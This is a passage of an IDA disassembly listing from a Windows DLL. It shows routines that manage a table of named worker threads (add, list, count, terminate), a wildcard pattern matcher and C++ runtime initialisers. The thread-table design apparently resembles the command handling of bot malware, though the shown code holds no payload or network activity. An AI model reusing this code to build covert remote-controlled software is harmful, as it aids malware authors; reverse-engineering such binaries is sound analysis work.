sub_1000A752 proc near ; CODE XREF: sub_10007424+E99p
; sub_10007424+FE8p ...
var_4 = dword ptr -4
Source = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 0
jmp short loc_1000A768
; ---------------------------------------------------------------------------
loc_1000A75F: ; CODE XREF: sub_1000A752:loc_1000A7C7j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_1000A768: ; CODE XREF: sub_1000A752+Bj
cmp [ebp+var_4], 200h
jge short loc_1000A7C9
mov ecx, [ebp+var_4]
imul ecx, 0CCh
movsx edx, byte_10012DD8[ecx]
test edx, edx
jnz short loc_1000A7C7
push 40h ; Count
mov eax, [ebp+Source]
push eax ; Source
mov ecx, [ebp+var_4]
imul ecx, 0CCh
add ecx, offset byte_10012DD8
push ecx ; Dest
call ds:strncpy ; strncpy
add esp, 0Ch
push 80h ; Count
mov edx, [ebp+arg_4]
push edx ; Source
mov eax, [ebp+var_4]
imul eax, 0CCh
add eax, offset dword_10012E18
push eax ; Dest
call ds:strncpy ; strncpy
add esp, 0Ch
jmp short loc_1000A7C9
; ---------------------------------------------------------------------------
loc_1000A7C7: ; CODE XREF: sub_1000A752+31j
jmp short loc_1000A75F
; ---------------------------------------------------------------------------
loc_1000A7C9: ; CODE XREF: sub_1000A752+1Dj
; sub_1000A752+73j
mov ecx, [ebp+var_4]
imul ecx, 0CCh
movsx edx, byte_10012DD8[ecx]
test edx, edx
jnz short loc_1000A7E2
or eax, 0FFFFFFFFh
jmp short loc_1000A7E5
; ---------------------------------------------------------------------------
loc_1000A7E2: ; CODE XREF: sub_1000A752+89j
mov eax, [ebp+var_4]
loc_1000A7E5: ; CODE XREF: sub_1000A752+8Ej
mov esp, ebp
pop ebp
retn
sub_1000A752 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_1000A7E9(char *Str1)
sub_1000A7E9 proc near ; CODE XREF: sub_10009C30+Bp
; sub_10009EF0+8Ep
var_8 = dword ptr -8
var_4 = dword ptr -4
Str1 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_4], 0
mov [ebp+var_8], 0
jmp short loc_1000A808
; ---------------------------------------------------------------------------
loc_1000A7FF: ; CODE XREF: sub_1000A7E9+3Cj
; sub_1000A7E9:loc_1000A84Fj
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_1000A808: ; CODE XREF: sub_1000A7E9+14j
cmp [ebp+var_4], 200h
jge short loc_1000A851
mov ecx, [ebp+var_4]
imul ecx, 0CCh
movsx edx, byte_10012DD8[ecx]
test edx, edx
jnz short loc_1000A827
jmp short loc_1000A7FF
; ---------------------------------------------------------------------------
loc_1000A827: ; CODE XREF: sub_1000A7E9+3Aj
mov eax, [ebp+var_4]
imul eax, 0CCh
add eax, offset byte_10012DD8
push eax ; Str2
mov ecx, [ebp+Str1]
push ecx ; Str1
call strcmp ; strcmp
add esp, 8
test eax, eax
jnz short loc_1000A84F
mov edx, [ebp+var_8]
add edx, 1
mov [ebp+var_8], edx
loc_1000A84F: ; CODE XREF: sub_1000A7E9+5Bj
jmp short loc_1000A7FF
; ---------------------------------------------------------------------------
loc_1000A851: ; CODE XREF: sub_1000A7E9+26j
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn
sub_1000A7E9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1000A858 proc near ; CODE XREF: sub_10007424+16ECp
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov dword ptr [ebp+var_4], 0
jmp short loc_1000A86E
; ---------------------------------------------------------------------------
loc_1000A865: ; CODE XREF: sub_1000A858:loc_1000A8CAj
mov eax, dword ptr [ebp+var_4]
add eax, 1
mov dword ptr [ebp+var_4], eax
loc_1000A86E: ; CODE XREF: sub_1000A858+Bj
cmp dword ptr [ebp+var_4], 200h
jge short loc_1000A8CC
mov ecx, dword ptr [ebp+var_4]
imul ecx, 0CCh
movsx edx, byte_10012DD8[ecx]
test edx, edx
jz short loc_1000A8CA
mov eax, dword ptr [ebp+var_4]
imul eax, 0CCh
add eax, offset dword_10012E18
push eax
mov ecx, dword ptr [ebp+var_4]
imul ecx, 0CCh
add ecx, offset byte_10012DD8
push ecx
mov edx, dword ptr [ebp+var_4]
push edx ; char
push offset aD_SS ; "%d. %s (%s)"
mov eax, [ebp+arg_0]
push eax ; int
call sub_10007303
add esp, 14h
push 3E8h ; dwMilliseconds
call ds:Sleep ; Sleep
loc_1000A8CA: ; CODE XREF: sub_1000A858+31j
jmp short loc_1000A865
; ---------------------------------------------------------------------------
loc_1000A8CC: ; CODE XREF: sub_1000A858+1Dj
mov esp, ebp
pop ebp
retn
sub_1000A858 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_1000A8D0(char *Str1)
sub_1000A8D0 proc near ; CODE XREF: sub_10007424+1477p
; sub_10007424+1484p ...
var_4 = dword ptr -4
Str1 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 0
jmp short loc_1000A8E6
; ---------------------------------------------------------------------------
loc_1000A8DD: ; CODE XREF: sub_1000A8D0+37j
; sub_1000A8D0:loc_1000AA00j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_1000A8E6: ; CODE XREF: sub_1000A8D0+Bj
cmp [ebp+var_4], 200h
jge loc_1000AA05
mov ecx, [ebp+var_4]
imul ecx, 0CCh
movsx edx, byte_10012DD8[ecx]
test edx, edx
jnz short loc_1000A909
jmp short loc_1000A8DD
; ---------------------------------------------------------------------------
loc_1000A909: ; CODE XREF: sub_1000A8D0+35j
mov eax, [ebp+var_4]
imul eax, 0CCh
add eax, offset byte_10012DD8
push eax ; Str2
mov ecx, [ebp+Str1]
push ecx ; Str1
call strcmp ; strcmp
add esp, 8
test eax, eax
jnz loc_1000AA00
mov edx, [ebp+var_4]
imul edx, 0CCh
xor eax, eax
mov al, byte_10012E98[edx]
test eax, eax
jz short loc_1000A958
mov ecx, [ebp+var_4]
imul ecx, 0CCh
mov byte_10012E98[ecx], 0
mov byte_1002D0F6, 0
loc_1000A958: ; CODE XREF: sub_1000A8D0+6Fj
mov edx, [ebp+var_4]
imul edx, 0CCh
xor eax, eax
mov al, byte_10012E99[edx]
test eax, eax
jz short loc_1000A984
mov ecx, [ebp+var_4]
imul ecx, 0CCh
mov byte_10012E99[ecx], 0
mov byte_1002D0F7, 0
loc_1000A984: ; CODE XREF: sub_1000A8D0+9Bj
push 0 ; dwExitCode
mov edx, [ebp+var_4]
imul edx, 0CCh
mov eax, dword_10012EA0[edx]
push eax ; hThread
call ds:TerminateThread ; TerminateThread
mov ecx, [ebp+var_4]
imul ecx, 0CCh
mov edx, dword_10012EA0[ecx]
push edx ; hObject
call ds:CloseHandle ; CloseHandle
mov eax, [ebp+var_4]
imul eax, 0CCh
mov dword_10012EA0[eax], 0
push 40h ; Size
push 0 ; Val
mov ecx, [ebp+var_4]
imul ecx, 0CCh
add ecx, offset byte_10012DD8
push ecx ; Dst
call memset ; memset
add esp, 0Ch
push 80h ; Size
push 0 ; Val
mov edx, [ebp+var_4]
imul edx, 0CCh
add edx, offset dword_10012E18
push edx ; Dst
call memset ; memset
add esp, 0Ch
loc_1000AA00: ; CODE XREF: sub_1000A8D0+56j
jmp loc_1000A8DD
; ---------------------------------------------------------------------------
loc_1000AA05: ; CODE XREF: sub_1000A8D0+1Dj
mov esp, ebp
pop ebp
retn
sub_1000A8D0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1000AA09 proc near ; CODE XREF: sub_10007424+17A3p
; sub_1000AAE1+37p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
imul eax, 0CCh
xor ecx, ecx
mov cl, byte_10012E98[eax]
test ecx, ecx
jz short loc_1000AA38
mov edx, [ebp+arg_0]
imul edx, 0CCh
mov byte_10012E98[edx], 0
mov byte_1002D0F6, 0
loc_1000AA38: ; CODE XREF: sub_1000AA09+16j
mov eax, [ebp+arg_0]
imul eax, 0CCh
xor ecx, ecx
mov cl, byte_10012E99[eax]
test ecx, ecx
jz short loc_1000AA64
mov edx, [ebp+arg_0]
imul edx, 0CCh
mov byte_10012E99[edx], 0
mov byte_1002D0F7, 0
loc_1000AA64: ; CODE XREF: sub_1000AA09+42j
push 0 ; dwExitCode
mov eax, [ebp+arg_0]
imul eax, 0CCh
mov ecx, dword_10012EA0[eax]
push ecx ; hThread
call ds:TerminateThread ; TerminateThread
mov edx, [ebp+arg_0]
imul edx, 0CCh
mov eax, dword_10012EA0[edx]
push eax ; hObject
call ds:CloseHandle ; CloseHandle
mov ecx, [ebp+arg_0]
imul ecx, 0CCh
mov dword_10012EA0[ecx], 0
push 40h ; Size
push 0 ; Val
mov edx, [ebp+arg_0]
imul edx, 0CCh
add edx, offset byte_10012DD8
push edx ; Dst
call memset ; memset
add esp, 0Ch
push 80h ; Size
push 0 ; Val
mov eax, [ebp+arg_0]
imul eax, 0CCh
add eax, offset dword_10012E18
push eax ; Dst
call memset ; memset
add esp, 0Ch
pop ebp
retn
sub_1000AA09 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1000AAE1 proc near ; CODE XREF: sub_10007424+951p
; sub_10007424:loc_10007DDAp ...
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 0
jmp short loc_1000AAF7
; ---------------------------------------------------------------------------
loc_1000AAEE: ; CODE XREF: sub_1000AAE1:loc_1000AB20j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_1000AAF7: ; CODE XREF: sub_1000AAE1+Bj
cmp [ebp+var_4], 200h
jge short loc_1000AB22
mov ecx, [ebp+var_4]
imul ecx, 0CCh
movsx edx, byte_10012DD8[ecx]
test edx, edx
jz short loc_1000AB20
mov eax, [ebp+var_4]
push eax
call sub_1000AA09
add esp, 4
loc_1000AB20: ; CODE XREF: sub_1000AAE1+31j
jmp short loc_1000AAEE
; ---------------------------------------------------------------------------
loc_1000AB22: ; CODE XREF: sub_1000AAE1+1Dj
mov esp, ebp
pop ebp
retn
sub_1000AAE1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1000AB26 proc near ; CODE XREF: sub_1000329E+752p
; StartAddress+2B2p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
imul eax, 0CCh
xor ecx, ecx
mov cl, byte_10012E98[eax]
test ecx, ecx
jz short loc_1000AB55
mov edx, [ebp+arg_0]
imul edx, 0CCh
mov byte_10012E98[edx], 0
mov byte_1002D0F6, 0
loc_1000AB55: ; CODE XREF: sub_1000AB26+16j
mov eax, [ebp+arg_0]
imul eax, 0CCh
xor ecx, ecx
mov cl, byte_10012E99[eax]
test ecx, ecx
jz short loc_1000AB81
mov edx, [ebp+arg_0]
imul edx, 0CCh
mov byte_10012E99[edx], 0
mov byte_1002D0F7, 0
loc_1000AB81: ; CODE XREF: sub_1000AB26+42j
mov eax, [ebp+arg_4]
and eax, 0FFh
test eax, eax
jz short loc_1000ABA3
mov ecx, [ebp+arg_0]
imul ecx, 0CCh
mov edx, dword_10012EA0[ecx]
push edx ; hObject
call ds:CloseHandle ; CloseHandle
loc_1000ABA3: ; CODE XREF: sub_1000AB26+65j
mov eax, [ebp+arg_0]
imul eax, 0CCh
mov dword_10012EA0[eax], 0
push 40h ; Size
push 0 ; Val
mov ecx, [ebp+arg_0]
imul ecx, 0CCh
add ecx, offset byte_10012DD8
push ecx ; Dst
call memset ; memset
add esp, 0Ch
push 80h ; Size
push 0 ; Val
mov edx, [ebp+arg_0]
imul edx, 0CCh
add edx, offset dword_10012E18
push edx ; Dst
call memset ; memset
add esp, 0Ch
pop ebp
retn
sub_1000AB26 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1000ABF3 proc near ; CODE XREF: start+107p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 0
jmp short loc_1000AC09
; ---------------------------------------------------------------------------
loc_1000AC00: ; CODE XREF: sub_1000ABF3+2Dj
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_1000AC09: ; CODE XREF: sub_1000ABF3+Bj
cmp [ebp+var_4], 200h
jge short loc_1000AC22
push 0
mov ecx, [ebp+var_4]
push ecx
call sub_1000AB26
add esp, 8
jmp short loc_1000AC00
; ---------------------------------------------------------------------------
loc_1000AC22: ; CODE XREF: sub_1000ABF3+1Dj
mov esp, ebp
pop ebp
retn
sub_1000ABF3 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1000AC30 proc near ; DATA XREF: .data:1000E064o
push ebp
mov ebp, esp
call sub_1000AC3F
call sub_1000AC4F
pop ebp
retn
sub_1000AC30 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1000AC3F proc near ; CODE XREF: sub_1000AC30+3p
push ebp
mov ebp, esp
mov ecx, offset byte_1002D151
call ds:??0Init@ios_base@std@@QAE@XZ ; std::ios_base::Init::Init(void)
pop ebp
retn
sub_1000AC3F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1000AC4F proc near ; CODE XREF: sub_1000AC30+8p
push ebp
mov ebp, esp
push offset sub_1000AC61 ; void (__cdecl *)()
call _atexit
add esp, 4
pop ebp
retn
sub_1000AC4F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; void __cdecl sub_1000AC61()
sub_1000AC61 proc near ; DATA XREF: sub_1000AC4F+3o
push ebp
mov ebp, esp
mov ecx, offset byte_1002D151
call ds:??1Init@ios_base@std@@QAE@XZ ; std::ios_base::Init::~Init(void)
pop ebp
retn
sub_1000AC61 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1000AC71 proc near ; DATA XREF: .data:1000E068o
push ebp
mov ebp, esp
call sub_1000AC80
call sub_1000AC90
pop ebp
retn
sub_1000AC71 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1000AC80 proc near ; CODE XREF: sub_1000AC71+3p
push ebp
mov ebp, esp
mov ecx, offset byte_1002D150
call ds:??0_Winit@std@@QAE@XZ ; std::_Winit::_Winit(void)
pop ebp
retn
sub_1000AC80 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1000AC90 proc near ; CODE XREF: sub_1000AC71+8p
push ebp
mov ebp, esp
push offset sub_1000ACA2 ; void (__cdecl *)()
call _atexit
add esp, 4
pop ebp
retn
sub_1000AC90 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; void __cdecl sub_1000ACA2()
sub_1000ACA2 proc near ; DATA XREF: sub_1000AC90+3o
push ebp
mov ebp, esp
mov ecx, offset byte_1002D150
call ds:??1_Winit@std@@QAE@XZ ; std::_Winit::~_Winit(void)
pop ebp
retn
sub_1000ACA2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1000ACB2 proc near ; CODE XREF: sub_10007424+73Ep
; sub_1000AEF7+DFp ...
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_4], 1
jmp short loc_1000ACCA
; ---------------------------------------------------------------------------
loc_1000ACC1: ; CODE XREF: sub_1000ACB2:loc_1000AD72j
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
loc_1000ACCA: ; CODE XREF: sub_1000ACB2+Dj
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
test edx, edx
jz loc_1000AD77
cmp [ebp+var_4], 1
jnz loc_1000AD77
mov eax, [ebp+arg_4]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz loc_1000AD77
mov edx, [ebp+arg_0]
mov al, [edx]
mov [ebp+var_8], al
cmp [ebp+var_8], 2Ah
jz short loc_1000AD35
cmp [ebp+var_8], 3Fh
jz short loc_1000AD2A
cmp [ebp+var_8], 5Bh
jz short loc_1000AD0C
jmp short loc_1000AD53
; ---------------------------------------------------------------------------
loc_1000AD0C: ; CODE XREF: sub_1000ACB2+56j
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
lea edx, [ebp+arg_4]
push edx
lea eax, [ebp+arg_0]
push eax
call sub_1000ADC4
add esp, 8
mov [ebp+var_4], eax
jmp short loc_1000AD72
; ---------------------------------------------------------------------------
loc_1000AD2A: ; CODE XREF: sub_1000ACB2+50j
mov ecx, [ebp+arg_4]
add ecx, 1
mov [ebp+arg_4], ecx
jmp short loc_1000AD72
; ---------------------------------------------------------------------------
loc_1000AD35: ; CODE XREF: sub_1000ACB2+4Aj
lea edx, [ebp+arg_4]
push edx
lea eax, [ebp+arg_0]
push eax
call sub_1000AEF7
add esp, 8
mov [ebp+var_4], eax
mov ecx, [ebp+arg_0]
sub ecx, 1
mov [ebp+arg_0], ecx
jmp short loc_1000AD72
; ---------------------------------------------------------------------------
loc_1000AD53: ; CODE XREF: sub_1000ACB2+58j
mov edx, [ebp+arg_0]
movsx eax, byte ptr [edx]
mov ecx, [ebp+arg_4]
movsx edx, byte ptr [ecx]
xor ecx, ecx
cmp eax, edx
setz cl
mov [ebp+var_4], ecx
mov edx, [ebp+arg_4]
add edx, 1
mov [ebp+arg_4], edx
loc_1000AD72: ; CODE XREF: sub_1000ACB2+76j
; sub_1000ACB2+81j ...
jmp loc_1000ACC1
; ---------------------------------------------------------------------------
loc_1000AD77: ; CODE XREF: sub_1000ACB2+20j
; sub_1000ACB2+2Aj ...
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
cmp ecx, 2Ah
jnz short loc_1000AD93
cmp [ebp+var_4], 1
jnz short loc_1000AD93
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
jmp short loc_1000AD77
; ---------------------------------------------------------------------------
loc_1000AD93: ; CODE XREF: sub_1000ACB2+CEj
; sub_1000ACB2+D4j
cmp [ebp+var_4], 1
jnz short loc_1000ADB6
mov eax, [ebp+arg_4]
movsx ecx, byte ptr [eax]
test ecx, ecx
jnz short loc_1000ADB6
mov edx, [ebp+arg_0]
movsx eax, byte ptr [edx]
test eax, eax
jnz short loc_1000ADB6
mov [ebp+var_C], 1
jmp short loc_1000ADBD
; ---------------------------------------------------------------------------
loc_1000ADB6: ; CODE XREF: sub_1000ACB2+E5j
; sub_1000ACB2+EFj ...
mov [ebp+var_C], 0
loc_1000ADBD: ; CODE XREF: sub_1000ACB2+102j
mov eax, [ebp+var_C]
mov esp, ebp
pop ebp
retn
sub_1000ACB2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1000ADC4 proc near ; CODE XREF: sub_1000ACB2+6Bp
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_4], 0
mov [ebp+var_8], 0
mov [ebp+var_C], 1
mov eax, [ebp+arg_0]
mov ecx, [eax]
movsx edx, byte ptr [ecx]
cmp edx, 21h
jnz short loc_1000AE00
mov [ebp+var_8], 1
mov eax, [ebp+arg_0]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_0]
mov [edx], ecx
loc_1000AE00: ; CODE XREF: sub_1000ADC4+26j
; sub_1000ADC4+103j
mov eax, [ebp+arg_0]
mov ecx, [eax]
movsx edx, byte ptr [ecx]
cmp edx, 5Dh
jnz short loc_1000AE17
cmp [ebp+var_C], 1
jnz loc_1000AECC
loc_1000AE17: ; CODE XREF: sub_1000ADC4+47j
cmp [ebp+var_4], 0
jnz loc_1000AEB3
mov eax, [ebp+arg_0]
mov ecx, [eax]
movsx edx, byte ptr [ecx]
cmp edx, 2Dh
jnz short loc_1000AE98
mov eax, [ebp+arg_0]
mov ecx, [eax]
movsx edx, byte ptr [ecx-1]
mov eax, [ebp+arg_0]
mov ecx, [eax]
movsx eax, byte ptr [ecx+1]
cmp edx, eax
jge short loc_1000AE98
mov ecx, [ebp+arg_0]
mov edx, [ecx]
movsx eax, byte ptr [edx+1]
cmp eax, 5Dh
jz short loc_1000AE98
cmp [ebp+var_C], 0
jnz short loc_1000AE98
mov ecx, [ebp+arg_4]
mov edx, [ecx]
movsx eax, byte ptr [edx]
mov ecx, [ebp+arg_0]
mov edx, [ecx]
movsx ecx, byte ptr [edx-1]
cmp eax, ecx
jl short loc_1000AE96
mov edx, [ebp+arg_4]
mov eax, [edx]
movsx ecx, byte ptr [eax]
mov edx, [ebp+arg_0]
mov eax, [edx]
movsx edx, byte ptr [eax+1]
cmp ecx, edx
jg short loc_1000AE96
mov [ebp+var_4], 1
mov eax, [ebp+arg_0]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_0]
mov [edx], ecx
loc_1000AE96: ; CODE XREF: sub_1000ADC4+A7j
; sub_1000ADC4+BCj
jmp short loc_1000AEB3
; ---------------------------------------------------------------------------
loc_1000AE98: ; CODE XREF: sub_1000ADC4+68j
; sub_1000ADC4+7Ej ...
mov eax, [ebp+arg_0]
mov ecx, [eax]
movsx edx, byte ptr [ecx]
mov eax, [ebp+arg_4]
mov ecx, [eax]
movsx eax, byte ptr [ecx]
cmp edx, eax
jnz short loc_1000AEB3
mov [ebp+var_4], 1
loc_1000AEB3: ; CODE XREF: sub_1000ADC4+57j
; sub_1000ADC4:loc_1000AE96j ...
mov ecx, [ebp+arg_0]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax], edx
mov [ebp+var_C], 0
jmp loc_1000AE00
; ---------------------------------------------------------------------------
loc_1000AECC: ; CODE XREF: sub_1000ADC4+4Dj
cmp [ebp+var_8], 1
jnz short loc_1000AEDD
mov ecx, 1
sub ecx, [ebp+var_4]
mov [ebp+var_4], ecx
loc_1000AEDD: ; CODE XREF: sub_1000ADC4+10Cj
cmp [ebp+var_4], 1
jnz short loc_1000AEF0
mov edx, [ebp+arg_4]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+arg_4]
mov [ecx], eax
loc_1000AEF0: ; CODE XREF: sub_1000ADC4+11Dj
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_1000ADC4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1000AEF7 proc near ; CODE XREF: sub_1000ACB2+8Bp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_4], 1
mov eax, [ebp+arg_0]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_0]
mov [edx], ecx
loc_1000AF11: ; CODE XREF: sub_1000AEF7+67j
mov eax, [ebp+arg_4]
mov ecx, [eax]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_1000AF60
mov eax, [ebp+arg_0]
mov ecx, [eax]
movsx edx, byte ptr [ecx]
cmp edx, 3Fh
jz short loc_1000AF37
mov eax, [ebp+arg_0]
mov ecx, [eax]
movsx edx, byte ptr [ecx]
cmp edx, 2Ah
jnz short loc_1000AF60
loc_1000AF37: ; CODE XREF: sub_1000AEF7+31j
mov eax, [ebp+arg_0]
mov ecx, [eax]
movsx edx, byte ptr [ecx]
cmp edx, 3Fh
jnz short loc_1000AF51
mov eax, [ebp+arg_4]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_4]
mov [edx], ecx
loc_1000AF51: ; CODE XREF: sub_1000AEF7+4Bj
mov eax, [ebp+arg_0]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_0]
mov [edx], ecx
jmp short loc_1000AF11
; ---------------------------------------------------------------------------
loc_1000AF60: ; CODE XREF: sub_1000AEF7+24j
; sub_1000AEF7+3Ej ...
mov eax, [ebp+arg_0]
mov ecx, [eax]
movsx edx, byte ptr [ecx]
cmp edx, 2Ah
jnz short loc_1000AF7C
mov eax, [ebp+arg_0]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_0]
mov [edx], ecx
jmp short loc_1000AF60
; ---------------------------------------------------------------------------
loc_1000AF7C: ; CODE XREF: sub_1000AEF7+74j
mov eax, [ebp+arg_4]
mov ecx, [eax]
movsx edx, byte ptr [ecx]
test edx, edx
jnz short loc_1000AFA3
mov eax, [ebp+arg_0]
mov ecx, [eax]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_1000AFA3
mov [ebp+var_4], 0
mov eax, [ebp+var_4]
jmp loc_1000B098
; ---------------------------------------------------------------------------
loc_1000AFA3: ; CODE XREF: sub_1000AEF7+8Fj
; sub_1000AEF7+9Bj
mov eax, [ebp+arg_4]
mov ecx, [eax]
movsx edx, byte ptr [ecx]
test edx, edx
jnz short loc_1000AFCA
mov eax, [ebp+arg_0]
mov ecx, [eax]
movsx edx, byte ptr [ecx]
test edx, edx
jnz short loc_1000AFCA
mov [ebp+var_4], 1
mov eax, [ebp+var_4]
jmp loc_1000B098
; ---------------------------------------------------------------------------
loc_1000AFCA: ; CODE XREF: sub_1000AEF7+B6j
; sub_1000AEF7+C2j
mov eax, [ebp+arg_4]
mov ecx, [eax]
push ecx
mov edx, [ebp+arg_0]
mov eax, [edx]
push eax
call sub_1000ACB2
add esp, 8
test eax, eax
jnz loc_1000B076
loc_1000AFE6: ; CODE XREF: sub_1000AEF7+179j
mov ecx, [ebp+arg_4]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_4]
mov [eax], edx
loc_1000AFF3: ; CODE XREF: sub_1000AEF7+136j
mov ecx, [ebp+arg_0]
mov edx, [ecx]
movsx eax, byte ptr [edx]
mov ecx, [ebp+arg_4]
mov edx, [ecx]
movsx ecx, byte ptr [edx]
cmp eax, ecx
jz short loc_1000B02F
mov edx, [ebp+arg_0]
mov eax, [edx]
movsx ecx, byte ptr [eax]
cmp ecx, 5Bh
jz short loc_1000B02F
mov edx, [ebp+arg_4]
mov eax, [edx]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_1000B02F
mov edx, [ebp+arg_4]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+arg_4]
mov [ecx], eax
jmp short loc_1000AFF3
; ---------------------------------------------------------------------------
loc_1000B02F: ; CODE XREF: sub_1000AEF7+10Ej
; sub_1000AEF7+11Bj ...
mov edx, [ebp+arg_4]
mov eax, [edx]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_1000B059
mov edx, [ebp+arg_4]
mov eax, [edx]
push eax
mov ecx, [ebp+arg_0]
mov edx, [ecx]
push edx
call sub_1000ACB2
add esp, 8
neg eax
sbb eax, eax
inc eax
mov [ebp+var_8], eax
jmp short loc_1000B06C
; ---------------------------------------------------------------------------
loc_1000B059: ; CODE XREF: sub_1000AEF7+142j
mov [ebp+var_4], 0
xor eax, eax
cmp [ebp+var_4], 0
setnz al
mov [ebp+var_8], eax
loc_1000B06C: ; CODE XREF: sub_1000AEF7+160j
cmp [ebp+var_8], 0
jnz loc_1000AFE6
loc_1000B076: ; CODE XREF: sub_1000AEF7+E9j
mov ecx, [ebp+arg_4]
mov edx, [ecx]
movsx eax, byte ptr [edx]
test eax, eax
jnz short loc_1000B095
mov ecx, [ebp+arg_0]
mov edx, [ecx]
movsx eax, byte ptr [edx]
test eax, eax
jnz short loc_1000B095
mov [ebp+var_4], 1
loc_1000B095: ; CODE XREF: sub_1000AEF7+189j
; sub_1000AEF7+195j
mov eax, [ebp+var_4]
loc_1000B098: ; CODE XREF: sub_1000AEF7+A7j
; sub_1000AEF7+CEj
mov esp, ebp
pop ebp
retn
sub_1000AEF7 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1000B0A0 proc near ; DATA XREF: .data:1000E06Co
push ebp
mov ebp, esp
call sub_1000B0AF
call sub_1000B0BF
pop ebp
retn
sub_1000B0A0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1000B0AF proc near ; CODE XREF: sub_1000B0A0+3p
push ebp
mov ebp, esp
mov ecx, offset byte_1002D159
call ds:??0Init@ios_base@std@@QAE@XZ ; std::ios_base::Init::Init(void)
pop ebp
retn
sub_1000B0AF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1000B0BF proc near ; CODE XREF: sub_1000B0A0+8p
push ebp
mov ebp, esp
push offset sub_1000B0D1 ; void (__cdecl *)()
call _atexit
add esp, 4
pop ebp
retn
sub_1000B0BF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; void __cdecl sub_1000B0D1()
sub_1000B0D1 proc near ; DATA XREF: sub_1000B0BF+3o
push ebp
mov ebp, esp
mov ecx, offset byte_1002D159
call ds:??1Init@ios_base@std@@QAE@XZ ; std::ios_base::Init::~Init(void)
pop ebp
retn
sub_1000B0D1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1000B0E1 proc near ; DATA XREF: .data:1000E070o
push ebp
mov ebp, esp
call sub_1000B0F0
call sub_1000B100
pop ebp
retn
sub_1000B0E1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1000B0F0 proc near ; CODE XREF: sub_1000B0E1+3p
push ebp
mov ebp, esp
mov ecx, offset byte_1002D158
call ds:??0_Winit@std@@QAE@XZ ; std::_Winit::_Winit(void)
pop ebp
retn
sub_1000B0F0 endp
; =============== S U B R O U T I N E =======================================
